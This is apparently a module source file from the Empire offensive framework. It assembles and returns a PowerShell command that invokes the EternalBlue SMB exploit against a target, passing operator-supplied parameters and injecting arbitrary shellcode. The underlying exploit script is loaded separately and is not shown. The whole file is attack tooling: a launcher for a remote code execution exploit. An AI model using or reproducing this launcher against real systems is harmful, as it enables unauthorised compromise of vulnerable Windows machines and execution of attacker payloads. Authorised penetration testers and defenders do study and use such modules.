from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.core.module_service import auto_finalize, auto_get_source


class Module:
    @staticmethod
    @auto_get_source
    @auto_finalize
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
        script: str = "",
    ):
        script_end = "\nInvoke-EternalBlue "

        for key, value in params.items():
            if value != "":
                if key.lower() == "shellcode":
                    # transform the shellcode to the correct format
                    script_end += " -" + str(key) + " @(" + str(value) + ")"
                else:
                    script_end += " -" + str(key) + " " + str(value)

        script_end += "; 'Exploit complete'"

        return script, script_end
